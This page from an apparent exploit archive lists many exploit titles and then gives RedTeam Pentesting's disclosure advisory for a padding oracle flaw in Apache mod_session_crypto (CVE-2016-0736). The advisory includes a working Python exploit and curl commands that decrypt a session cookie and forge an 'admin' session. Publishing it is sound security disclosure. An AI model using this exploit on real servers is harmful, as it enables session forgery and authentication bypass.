
3 new exploits WinFTP Server 2.0.2 - (PASV) Remote Denial of Service WinFTP Server 2.0.2 - 'PASV' Remote Denial of Service WinFTP Server 2.3.0 - (NLST) Denial of Service WinFTP Server 2.3.0 - 'NLST' Denial of Service vxFtpSrv 2.0.3 - CWD command Remote Buffer Overflow (PoC) vxFtpSrv 2.0.3 - 'CWD' Remote Buffer Overflow (PoC) OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation X7 Chat 2.0.5 - lib/message.php preg_replace() PHP Code Execution (Metasploit) X7 Chat 2.0.5 - 'message.php' PHP Code Execution (Metasploit) OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading X7 Chat 2.0 - (help_file) Remote Command Execution X7 Chat 2.0 - 'help_file' Parameter Remote Command Execution Ultimate WebBoard 3.00 - (Category) SQL Injection PromoteWeb MySQL - 'go.php id' SQL Injection 212Cafe Board 0.07 - (view.php qID) SQL Injection Ultimate WebBoard 3.00 - 'Category' Parameter SQL Injection PromoteWeb MySQL - 'id' Parameter SQL Injection 212Cafe Board 0.07 - 'qID' Parameter SQL Injection The Gemini Portal - 'lang' Remote File Inclusion RPG.Board 0.0.8Beta2 - (showtopic) SQL Injection ASPapp KnowledgeBase - 'catid' SQL Injection The Gemini Portal 4.7 - 'lang' Parameter Remote File Inclusion RPG.Board 0.0.8Beta2 - 'showtopic' Parameter SQL Injection ASPapp KnowledgeBase - 'catid' Parameter SQL Injection X7 Chat 2.0.1A1 - (mini.php help_file) Local File Inclusion X7 Chat 2.0.1A1 - 'mini.php' Local File Inclusion CoAST 0.95 - (sections_file) Remote File Inclusion Real Estate Manager - 'cat_id' SQL Injection LnBlog 0.9.0 - (plugin) Local File Inclusion PlugSpace 0.1 - (index.php navi) Local File Inclusion MyCard 1.0.2 - (gallery.php id) SQL Injection PowerPortal 2.0.13 - 'path' Local Directory Traversal PHP-Lance 1.52 - (show.php catid) SQL Injection Yoxel 1.23beta - (itpm_estimate.php a) Remote Code Execution CoAST 0.95 - 'sections_file' Parameter Remote File Inclusion Real Estate Manager 1.01 - 'cat_id' Parameter SQL Injection LnBlog 0.9.0 - 'plugin' Parameter Local File Inclusion PlugSpace 0.1 - 'navi' Parameter Local File Inclusion MyCard 1.0.2 - 'id' Parameter SQL Injection PowerPortal 2.0.13 - 'path' Parameter Local Directory Traversal PHP-Lance 1.52 - 'catid' Parameter SQL Injection Yoxel 1.23beta - 'itpm_estimate.php' Remote Code Execution ZEELYRICS 2.0 - (bannerclick.php adid) SQL Injection ZEELYRICS 2.0 - 'bannerclick.php' SQL Injection Pro Chat Rooms 3.0.3 - (guid) SQL Injection Pilot Group eTraining - 'news_read.php id' SQL Injection BbZL.php 0.92 - (lien_2) Local Directory Traversal Pro Chat Rooms 3.0.3 - SQL Injection Pilot Group eTraining - 'news_read.php' SQL Injection BbZL.php 0.92 - 'lien_2' Parameter Local Directory Traversal Arcadem Pro - 'articlecat' SQL Injection Arcadem Pro - 'articlecat' Parameter SQL Injection ArabCMS - 'rss.php rss' Local File Inclusion FAQ Management Script - 'catid' SQL Injection ArabCMS - 'rss.php' Local File Inclusion FAQ Management Script - 'catid' Parameter SQL Injection BookMarks Favourites Script - 'view_group.php id' SQL Injection BookMarks Favourites Script - 'id' Parameter SQL Injection BMForum 5.6 - (tagname) SQL Injection BMForum 5.6 - 'tagname' Parameter SQL Injection Crux Gallery 1.32 - (index.php theme) Local File Inclusion phpScheduleIt 1.2.10 - (reserve.php) Remote Code Execution RPortal 1.1 - (file_op) Remote File Inclusion Crux Gallery 1.32 - 'theme' Parameter Local File Inclusion phpScheduleIt 1.2.10 - 'reserve.php' Remote Code Execution RPortal 1.1 - 'file_op' Parameter Remote File Inclusion Link Trader - 'ratelink.php lnkid' SQL Injection Link Trader - 'lnkid' Parameter SQL Injection OLIB 7 WebView 2.5.1.1 - (infile) Local File Inclusion OpenX 2.6 - (ac.php bannerid) Blind SQL Injection OLIB 7 WebView 2.5.1.1 - 'infile' Parameter Local File Inclusion OpenX 2.6 - 'bannerid' Parameter Blind SQL Injection X7 Chat 2.0.5 - (Authentication Bypass) SQL Injection X7 Chat 2.0.5 - Authentication Bypass Arcadem Pro 2.8 - (article) Blind SQL Injection Arcadem Pro 2.8 - 'article' Parameter Blind SQL Injection Link Trader - (lnkid) SQL Injection phpScheduleIt PHP - reserve.php start_date Parameter Arbitrary Code Injection (Metasploit) phpScheduleIt 1.2.10 - 'reserve.php' Arbitrary Code Injection (Metasploit) PowerPortal 1.1/1.3 - modules.php Traversal Arbitrary Directory Listing PowerPortal 1.1/1.3 - 'modules.php' Traversal Arbitrary Directory Listing Atomic Photo Album 0.x/1.0 - Apa_PHPInclude.INC.php Remote File Inclusion Atomic Photo Album 0.x/1.0 - 'Apa_PHPInclude.INC.php' Remote File Inclusion BMForum 3.0 - topic.php Multiple Parameter Cross-Site Scripting BMForum 3.0 - forums.php Multiple Parameter Cross-Site Scripting BMForum 3.0 - post.php forumid Parameter Cross-Site Scripting BMForum 3.0 - announcesys.php forumid Parameter Cross-Site Scripting BMForum 3.0 - 'topic.php' Cross-Site Scripting BMForum 3.0 - 'forums.php' Cross-Site Scripting BMForum 3.0 - 'post.php' Cross-Site Scripting BMForum 3.0 - 'announcesys.php' Cross-Site Scripting PowerPortal 1.1/1.3 - 'index.php' search Parameter Cross-Site Scripting PowerPortal 1.1/1.3 - search.php search Parameter Cross-Site Scripting PowerPortal 1.1/1.3 - 'index.php' Cross-Site Scripting PowerPortal 1.1/1.3 - 'search.php' Cross-Site Scripting X7 Chat 2.0.4 - sources/frame.php room Parameter Cross-Site Scripting X7 Chat 2.0.4 - upgradev1.php INSTALL_X7CHATVERSION Parameter Cross-Site Scripting X7 Chat 2.0.4 - 'frame.php' Cross-Site Scripting X7 Chat 2.0.4 - 'upgradev1.php' Cross-Site Scripting BMForum 5.6 - 'index.php' outpused Parameter Cross-Site Scripting BMForum 5.6 - newtem/footer/bsd01footer.php Multiple Parameter Cross-Site Scripting BMForum 5.6 - newtem/header/bsd01header.php Multiple Parameter Cross-Site Scripting BMForum 5.6 - 'index.php' Cross-Site Scripting BMForum 5.6 - 'bsd01footer.php' Cross-Site Scripting BMForum 5.6 - 'bsd01header.php' Cross-Site Scripting Pilot Group eTraining - courses_login.php cat_id Parameter Cross-Site Scripting Pilot Group eTraining - news_read.php id Parameter Cross-Site Scripting Pilot Group eTraining - lessons_login.php Multiple Parameter Cross-Site Scripting Pilot Group eTraining - 'courses_login.php' Cross-Site Scripting Pilot Group eTraining - 'news_read.php' Cross-Site Scripting Pilot Group eTraining - 'lessons_login.php' Cross-Site Scripting OpenX - /www/admin/plugin-index.php parent Parameter Cross-Site Scripting OpenX 2.8.10 - 'plugin-index.php' Cross-Site Scripting Apache mod_session_crypto - Padding Oracle
376 lines
No EOL
13 KiB
Python
Executable file
376 lines
No EOL
13 KiB
Python
Executable file
'''
|
|
Advisory: Padding Oracle in Apache mod_session_crypto
|
|
|
|
During a penetration test, RedTeam Pentesting discovered a Padding
|
|
Oracle vulnerability in mod_session_crypto of the Apache web server.
|
|
This vulnerability can be exploited to decrypt the session data and even
|
|
encrypt attacker-specified data.
|
|
|
|
|
|
Details
|
|
=======
|
|
|
|
Product: Apache HTTP Server mod_session_crypto
|
|
Affected Versions: 2.3 to 2.5
|
|
Fixed Versions: 2.4.25
|
|
Vulnerability Type: Padding Oracle
|
|
Security Risk: high
|
|
Vendor URL: https://httpd.apache.org/docs/trunk/mod/mod_session_crypto.html
|
|
Vendor Status: fixed version released
|
|
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-001.txt
|
|
Advisory Status: published
|
|
CVE: CVE-2016-0736
|
|
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0736
|
|
|
|
|
|
Introduction
|
|
============
|
|
|
|
The module mod_session_crypto of the Apache HTTP Server can be used in
|
|
conjunction with the modules mod_session and mod_session_cookie to store
|
|
session data in an encrypted cookie within the users' browsers. This
|
|
avoids server-side session state so that incoming HTTP requests can be
|
|
easily distributed amongst a number of application web servers which do
|
|
not need to share session state.
|
|
|
|
|
|
More Details
|
|
============
|
|
|
|
The module mod_session_crypto uses symmetric cryptography to encrypt and
|
|
decrypt session data and uses mod_session to store the encrypted data in
|
|
a cookie (usually called "session") within the user's browser. The
|
|
decrypted session is then made available to the application in an
|
|
environment variable (in case of a CGI script) or in a custom HTTP
|
|
request header. The application can add a custom HTTP response header
|
|
(usually "X-Replace-Session") which instructs the HTTP server to replace
|
|
the session's content with the value of the header. Detailed
|
|
instructions to set up mod_session and mod_session_crypto can be found
|
|
in the documentation:
|
|
https://httpd.apache.org/docs/2.4/mod/mod_session.html#basicexamples
|
|
|
|
The module mod_session_crypto is configured to use either 3DES or AES
|
|
with various key sizes, defaulting to AES256. Encryption is handled by
|
|
the function "encrypt_string":
|
|
|
|
modules/session/mod_session_crypto.c
|
|
------------------------------------------------------------------------
|
|
/**
|
|
* Encrypt the string given as per the current config.
|
|
*
|
|
* Returns APR_SUCCESS if successful.
|
|
*/
|
|
static apr_status_t encrypt_string(request_rec * r, const apr_crypto_t *f,
|
|
session_crypto_dir_conf *dconf, const char *in, char **out)
|
|
{
|
|
[...]
|
|
apr_crypto_key_t *key = NULL;
|
|
[...]
|
|
const unsigned char *iv = NULL;
|
|
[...]
|
|
|
|
/* use a uuid as a salt value, and prepend it to our result */
|
|
apr_uuid_get(&salt);
|
|
|
|
[...]
|
|
|
|
res = apr_crypto_passphrase(&key, &ivSize, passphrase,
|
|
strlen(passphrase),
|
|
(unsigned char *) (&salt), sizeof(apr_uuid_t),
|
|
*cipher, APR_MODE_CBC, 1, 4096, f, r->pool);
|
|
|
|
[...]
|
|
|
|
res = apr_crypto_block_encrypt_init(&block, &iv, key, &blockSize, r->pool);
|
|
[...]
|
|
res = apr_crypto_block_encrypt(&encrypt, &encryptlen, (unsigned char *)in,
|
|
strlen(in), block);
|
|
[...]
|
|
res = apr_crypto_block_encrypt_finish(encrypt + encryptlen, &tlen, block);
|
|
[...]
|
|
|
|
/* prepend the salt and the iv to the result */
|
|
combined = apr_palloc(r->pool, ivSize + encryptlen + sizeof(apr_uuid_t));
|
|
memcpy(combined, &salt, sizeof(apr_uuid_t));
|
|
memcpy(combined + sizeof(apr_uuid_t), iv, ivSize);
|
|
memcpy(combined + sizeof(apr_uuid_t) + ivSize, encrypt, encryptlen);
|
|
|
|
/* base64 encode the result */
|
|
base64 = apr_palloc(r->pool, apr_base64_encode_len(ivSize + encryptlen +
|
|
sizeof(apr_uuid_t) + 1)
|
|
* sizeof(char));
|
|
[...]
|
|
return res;
|
|
}
|
|
------------------------------------------------------------------------
|
|
|
|
The source code shows that an encryption key is derived from the
|
|
configured password and a randomly chosen salt by calling the function
|
|
"apr_crypto_passphrase". This function internally uses PBKDF2 to derive
|
|
the key. The data is then encrypted and the salt and IV prepended to the
|
|
encrypted data. Before returning to the caller, the result is encoded as
|
|
base64.
|
|
|
|
This procedure does not guarantee integrity of the ciphertext, so the
|
|
Apache module is unable to detect whether a session sent back to the
|
|
server has been tampered with. Depending on the application this often
|
|
means that attackers are able to exploit a Padding Oracle vulnerability.
|
|
This allows decrypting the session and encrypting arbitrary data chosen
|
|
by the attacker.
|
|
|
|
|
|
Proof of Concept
|
|
================
|
|
|
|
The vulnerability can be reproduced as follows. First, the modules
|
|
mod_session, mod_session_crypto and mod_session_cookie are enabled and
|
|
configured:
|
|
|
|
------------------------------------------------------------------------
|
|
Session On
|
|
SessionEnv On
|
|
SessionCookieName session path=/
|
|
SessionHeader X-Replace-Session
|
|
SessionCryptoPassphrase RedTeam
|
|
------------------------------------------------------------------------
|
|
|
|
In addition, CGI scripts are enabled for a folder and the following CGI
|
|
script is saved as "status.rb" and is made available to clients:
|
|
|
|
------------------------------------------------------------------------
|
|
#!/usr/bin/env ruby
|
|
|
|
require 'cgi'
|
|
|
|
cgi = CGI.new
|
|
data = CGI.parse(ENV['HTTP_SESSION'])
|
|
|
|
if data.has_key? 'username'
|
|
puts
|
|
puts "your username is %s" % data['username']
|
|
exit
|
|
end
|
|
|
|
puts "X-Replace-Session: username=guest×tamp=" + Time.now.strftime("%s")
|
|
puts
|
|
puts "not logged in"
|
|
------------------------------------------------------------------------
|
|
|
|
Once the CGI script is correctly set up, the command-line HTTP client curl
|
|
can be used to access it:
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl -i http://127.0.0.1:8080/cgi-bin/status.rb
|
|
HTTP/1.1 200 OK
|
|
Date: Tue, 19 Jan 2016 13:23:19 GMT
|
|
Server: Apache/2.4.10 (Ubuntu)
|
|
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
|
|
l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
|
|
Cache-Control: no-cache
|
|
Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ
|
|
l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/
|
|
Transfer-Encoding: chunked
|
|
Content-Type: application/x-ruby
|
|
|
|
not logged in
|
|
------------------------------------------------------------------------
|
|
|
|
The example shows that a new encrypted cookie with the name "session" is
|
|
returned, and the response body contains the text "not logged in".
|
|
Calling the script again with the cookie just returned reveals that the
|
|
username in the session is set to "guest":
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\
|
|
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= \
|
|
http://127.0.0.1:8080/cgi-bin/status.rb
|
|
|
|
your username is guest
|
|
------------------------------------------------------------------------
|
|
|
|
Sending a modified cookie ending in "u=" instead of "U=" will invalidate
|
|
the padding at the end of the ciphertext, so the session cannot be
|
|
decrypted correctly and is therefore not passed to the CGI script, which
|
|
returns the text "not logged in" again:
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\
|
|
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRu= \
|
|
http://127.0.0.1:8080/cgi-bin/status.rb
|
|
|
|
not logged in
|
|
------------------------------------------------------------------------
|
|
|
|
This verifies the existence of the Padding Oracle vulnerability. The
|
|
Python library[1] python-paddingoracle was then used to implement
|
|
decrypting the session by exploiting the Padding Oracle vulnerability.
|
|
|
|
exploit.py
|
|
------------------------------------------------------------------------
|
|
'''
|
|
|
|
from paddingoracle import BadPaddingException, PaddingOracle
|
|
from base64 import b64encode, b64decode
|
|
import requests
|
|
|
|
class PadBuster(PaddingOracle):
|
|
def __init__(self, valid_cookie, **kwargs):
|
|
super(PadBuster, self).__init__(**kwargs)
|
|
self.wait = kwargs.get('wait', 2.0)
|
|
self.valid_cookie = valid_cookie
|
|
|
|
def oracle(self, data, **kwargs):
|
|
v = b64encode(self.valid_cookie+data)
|
|
|
|
response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb',
|
|
cookies=dict(session=v), stream=False, timeout=5, verify=False)
|
|
|
|
if 'username' in response.content:
|
|
logging.debug('No padding exception raised on %r', v)
|
|
return
|
|
|
|
raise BadPaddingException
|
|
|
|
if __name__ == '__main__':
|
|
import logging
|
|
import sys
|
|
|
|
if not sys.argv[2:]:
|
|
print 'Usage: [encrypt|decrypt] <session value> <plaintext>'
|
|
sys.exit(1)
|
|
|
|
logging.basicConfig(level=logging.WARN)
|
|
mode = sys.argv[1]
|
|
session = b64decode(sys.argv[2])
|
|
padbuster = PadBuster(session)
|
|
|
|
if mode == "decrypt":
|
|
cookie = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32])
|
|
print('Decrypted session:\n%r' % cookie)
|
|
elif mode == "encrypt":
|
|
key = session[0:16]
|
|
plaintext = sys.argv[3]
|
|
|
|
s = padbuster.encrypt(plaintext, block_size=16)
|
|
|
|
data = b64encode(key+s[0:len(s)-16])
|
|
print('Encrypted session:\n%s' % data)
|
|
else:
|
|
print "invalid mode"
|
|
sys.exit(1)
|
|
|
|
'''
|
|
------------------------------------------------------------------------
|
|
|
|
This Python script can then be used to decrypt the session:
|
|
|
|
------------------------------------------------------------------------
|
|
$ time python exploit.py decrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\
|
|
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=
|
|
Decrypted session:
|
|
b'username=guest×tamp=1453282205\r\r\r\r\r\r\r\r\r\r\r\r\r'
|
|
|
|
real 6m43.088s
|
|
user 0m15.464s
|
|
sys 0m0.976s
|
|
------------------------------------------------------------------------
|
|
|
|
In this sample application, the username and a timestamp are included in
|
|
the session data. The Python script can also be used to encrypt a new
|
|
session containing the username "admin":
|
|
|
|
------------------------------------------------------------------------
|
|
$ time python exploit.py encrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\
|
|
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYB\
|
|
RU= username=admin
|
|
|
|
Encrypted session:
|
|
sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7zmQ/GLFjF4pcXY
|
|
|
|
real3m38.002s
|
|
users0m8.536s
|
|
sys0m0.512s
|
|
|
|
------------------------------------------------------------------------
|
|
|
|
Sending this newly encrypted session to the server shows that the
|
|
username is now "admin":
|
|
|
|
------------------------------------------------------------------------
|
|
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7\
|
|
zmQ/GLFjF4pcXY http://127.0.0.1:8080/cgi-bin/status.rb
|
|
|
|
your username is admin
|
|
------------------------------------------------------------------------
|
|
|
|
|
|
Workaround
|
|
==========
|
|
|
|
Use a different means to store the session, e.g. in a database by using
|
|
mod_session_dbd.
|
|
|
|
|
|
Fix
|
|
===
|
|
|
|
Update to Apache HTTP version 2.4.25 (see [2]).
|
|
|
|
|
|
Security Risk
|
|
=============
|
|
|
|
Applications which use mod_session_crypto usually store sensitive values
|
|
in the session and rely on an attacker's inability to decrypt or modify
|
|
the session. Successful exploitation of the Padding Oracle vulnerability
|
|
subverts this mechanism and allows to construct sessions with arbitrary
|
|
attacker-specified content. Depending on the application this may
|
|
completely subvert the application's security. Therefore, this
|
|
vulnerability poses a high risk.
|
|
|
|
|
|
Timeline
|
|
========
|
|
|
|
2016-01-11 Vulnerability identified
|
|
2016-01-12 Customer approved disclosure to vendor
|
|
2016-01-12 CVE number requested
|
|
2016-01-20 Vendor notified
|
|
2016-01-22 Vendor confirmed the vulnerability
|
|
2016-02-03 Vendor provided patch
|
|
2016-02-04 Apache Security Team assigned CVE number
|
|
2016-03-03 Requested status update from vendor, no response
|
|
2016-05-02 Requested status update from vendor, no response
|
|
2016-07-14 Requested status update and roadmap from vendor
|
|
2016-07-21 Vendor confirms working on a new released and inquired whether the
|
|
patch fixes the vulnerability
|
|
2016-07-22 RedTeam confirms
|
|
2016-08-24 Requested status update from vendor
|
|
2016-08-29 Vendor states that there is no concrete timeline
|
|
2016-12-05 Vendor announces a release
|
|
2016-12-20 Vendor released fixed version
|
|
2016-12-23 Advisory released
|
|
|
|
|
|
References
|
|
==========
|
|
|
|
[1] https://github.com/mwielgoszewski/python-paddingoracle
|
|
[2] http://httpd.apache.org/security/vulnerabilities_24.html
|
|
|
|
|
|
RedTeam Pentesting GmbH
|
|
=======================
|
|
|
|
RedTeam Pentesting offers individual penetration tests performed by a
|
|
team of specialised IT-security experts. Hereby, security weaknesses in
|
|
company networks or products are uncovered and can be fixed immediately.
|
|
|
|
As there are only few experts in this field, RedTeam Pentesting wants to
|
|
share its knowledge and enhance the public knowledge with research in
|
|
security-related areas. The results are made available as public
|
|
security advisories.
|
|
|
|
More information about RedTeam Pentesting can be found at:
|
|
https://www.redteam-pentesting.de/
|
|
''' |